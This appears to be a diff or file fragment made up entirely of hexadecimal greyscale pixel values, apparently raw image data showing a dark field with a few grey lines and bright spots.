+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000A8A8A8FBFBFBB7B7B70F0F0F000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000001C1C1C +BFBFBFEFEFEFF2F2F2C1C1C1323232000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 